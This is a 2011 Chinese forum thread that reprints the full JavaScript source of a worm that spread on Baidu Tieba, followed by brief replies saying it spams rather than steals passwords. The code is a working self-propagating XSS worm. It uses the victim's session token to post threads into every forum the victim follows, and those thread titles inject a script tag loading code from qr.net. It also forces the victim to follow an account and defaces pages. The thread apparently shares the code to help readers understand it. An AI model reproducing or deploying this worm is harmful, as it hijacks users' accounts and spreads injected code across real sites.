设为首页收藏本站喵玉殿官方微博

 找回密码
 少女注册中
搜索
查看: 8527|回复: 9

[编程算法] 最近出现的据说是盗取密码的post.js的原代码

  [复制链接]
发表于 2011-6-26 20:12:30 | 显示全部楼层 |阅读模式

  1. function createXHR(){
  2.     return window.XMLHttpRequest?
  3.     new XMLHttpRequest():
  4.     new ActiveXObject("Microsoft.XMLHTTP");
  5. }
  6. function getmyforum(url){
  7. xmlHttp = createXHR();
  8.     xmlHttp.open("GET",url,false);
  9.     xmlHttp.send();
  10.     result = xmlHttp.responseText;
  11. result = result.match(/\/f\?kw=[A-Z0-9\%]*&from=ucenter/g);
  12. return result;
  13. }
  14. function getarg(forumurl){
  15. xmlHttp = createXHR();
  16.     xmlHttp.open("GET",forumurl,false);
  17.     xmlHttp.send();
  18.     result = xmlHttp.responseText;
  19. forumname = result.match("hidden" name="kw" id="kw" value="[^"]*").toString().split('"')[6];
  20. forumname = encodeURIComponent(forumname);
  21. fid = result.match("hidden" name="fid" id="fid" value="[^"]*").toString().split('"')[6];
  22. tbs = result.match("PageData.tbs = "[a-z0-9]+";").toString().split('"')[1];
  23. return [forumname,fid,tbs];
  24. }
  25. function publish_delay(data,i){
  26. var t=setTimeout("publish(data)",1000*i);
  27. }
  28. function publish(data){
  29.     url="http://tieba.baidu.com/f/commit/thread/add";
  30. xmlHttp = createXHR();
  31.     xmlHttp.open("POST",url,false);
  32.     xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
  33.     xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
  34.     xmlHttp.send(data);
  35. }
  36. function followme(){
  37.     url = "http://tieba.baidu.com/i/181104344";
  38. xmlHttp = createXHR();
  39.     xmlHttp.open("GET",url,false);
  40.     xmlHttp.send();
  41. result = xmlHttp.responseText;
  42. tbs = result.match("[^_]tbs : "[0-9a-z]*"").toString().split('"')[1];
  43. portrait = result.match(/UserInfo.request\("[0-9a-z]*/).toString().split('"')[1];
  44. if(tbs == null || portrait == null){
  45.             return;
  46. }
  47. inf = 'cmd=follow&tbs=' + tbs + '&portrait=' + portrait;
  48. url="http://tieba.baidu.com/i/commit?stamp=" + new Date().getTime();;
  49. xmlHttp = createXHR();
  50.     xmlHttp.open("POST",url);
  51.     xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
  52.     xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
  53.     xmlHttp.send(inf);
  54. }
  55. function random_msg(){
  56. var tarr = new Array(
  57. '说不过就删帖封号,有意思吗?',
  58. '这个楼我们一定要盖啊啊啊?',
  59. '绝对震撼人心的语录,2011年',
  60. '显然,或者,哦,这事做错了?');
  61. var carr = new Array(
  62. ' RT ',
  63. ' 难道不是吗? ',
  64. ' 如题',
  65. '我想说啥来着??',
  66. '我爱大清国,我怕他完了....');
  67. title = tarr[Math.floor(Math.random()*(tarr.length))];
  68. content = carr[Math.floor(Math.random()*(carr.length))];
  69. return [encodeURIComponent(title),encodeURIComponent(content)];
  70. }
  71. function main(){
  72. document.getElementsByTagName('h1')[0].innerHTML = document.getElementsByTagName('h1')[0].innerHTML.split('/scr')[0];
  73. if(!PageData.is_login){
  74.   tagp = document.getElementsByTagName('p');
  75.   for (i=0;i<tagp.length;i++){
  76.    if(tagp[i].innerHTML == '1楼'){
  77.     tagp[i+1].innerHTML = 'BS你。看帖不登陆、不回帖、不顶贴的淫,我咒你木有小JJ!!';
  78.     i = tagp.length;
  79.    }
  80.   }
  81.   throw 'err';
  82. }
  83. myforum = 'http://tieba.baidu.com/f/user/myforum?v=' + new Date().getTime();
  84. forumarr = getmyforum(myforum);
  85. wormurl = encodeURIComponent('</script><script/src=//qr.net/edrn>');
  86. for (i=0;i<forumarr.length;i++){
  87.   msg = random_msg();
  88.   forumurl = 'http://tieba.baidu.com' + forumarr[i];
  89.   argarr = getarg(forumurl);
  90.   data = 'kw=' + argarr[0];
  91.   data = data + '&fid=' + argarr[1];
  92.   data = data + '&tid=0&floor_num=0&vcode_md5=&pic_url=&rich_text=1&hasuploadpic=0&picsign=&tfrom=1';
  93.   data = data + '&title=' + msg[0] + wormurl + '&content=' + msg[1] + '%40samy_joke%3Cbr%3E';
  94.   data = data + '&add_post_submit=%20%E5%8F%91%20%E8%A1%A8%20&ie=utf-8';
  95.   data = data + '&tbs=' + argarr[2];
  96.   publish(data);
  97. }
  98. followme();
  99. }
  100. var t=setTimeout("main()",3000);
复制代码

很简单的一段代码

点评

刚在自己的养老贴吧删掉自己ID发的水贴的人路过  发表于 2011-6-26 20:16
发表于 2011-6-26 20:15:24 | 显示全部楼层
本帖最后由 ooxoo 于 2011-6-26 20:15 编辑

……简单……么……

……话说看到57-66行咱认出来了……



……点进去之后关掉立刻改密码有用么……

点评

……哦腋……  发表于 2011-6-26 20:24
有用- -!  发表于 2011-6-26 20:20
回复

使用道具 举报

发表于 2011-6-26 20:17:34 | 显示全部楼层
能不能说一说,这个工作过程呢?(看不明白……)
回复

使用道具 举报

 楼主| 发表于 2011-6-26 20:24:50 | 显示全部楼层
回复 MAX清水星 的帖子

这里没有看到有涉及cookie的内容、所以严格说起来这段脚本里没有盗号功能……
回复

使用道具 举报

发表于 2011-6-26 20:27:12 | 显示全部楼层
简单个头啊!...变量名函数名过程名这么长有木有啊!...

点评

好像是東方吧的前輩之一……  发表于 2011-6-27 04:37
回复

使用道具 举报

发表于 2011-6-26 21:09:14 | 显示全部楼层
只是执行发帖行为?太恶趣味了啊……
回复

使用道具 举报

发表于 2011-6-26 21:51:18 | 显示全部楼层
这恶作剧……

刚从外面回来就看到发生了这些事情。
回复

使用道具 举报

发表于 2011-6-27 04:38:19 | 显示全部楼层
不行……現在讀代碼會頭暈……
回复

使用道具 举报

发表于 2011-6-27 09:00:37 | 显示全部楼层
中枪了,想都没想就去改了密码。看来是多此一举啊
回复

使用道具 举报

发表于 2011-9-18 09:25:14 | 显示全部楼层
说实话我想起了这个死亡问答
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 少女注册中

本版积分规则

合作与事务联系|无图版|手机版|小黑屋|喵玉殿

GMT+8, 2025-10-31 12:11

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表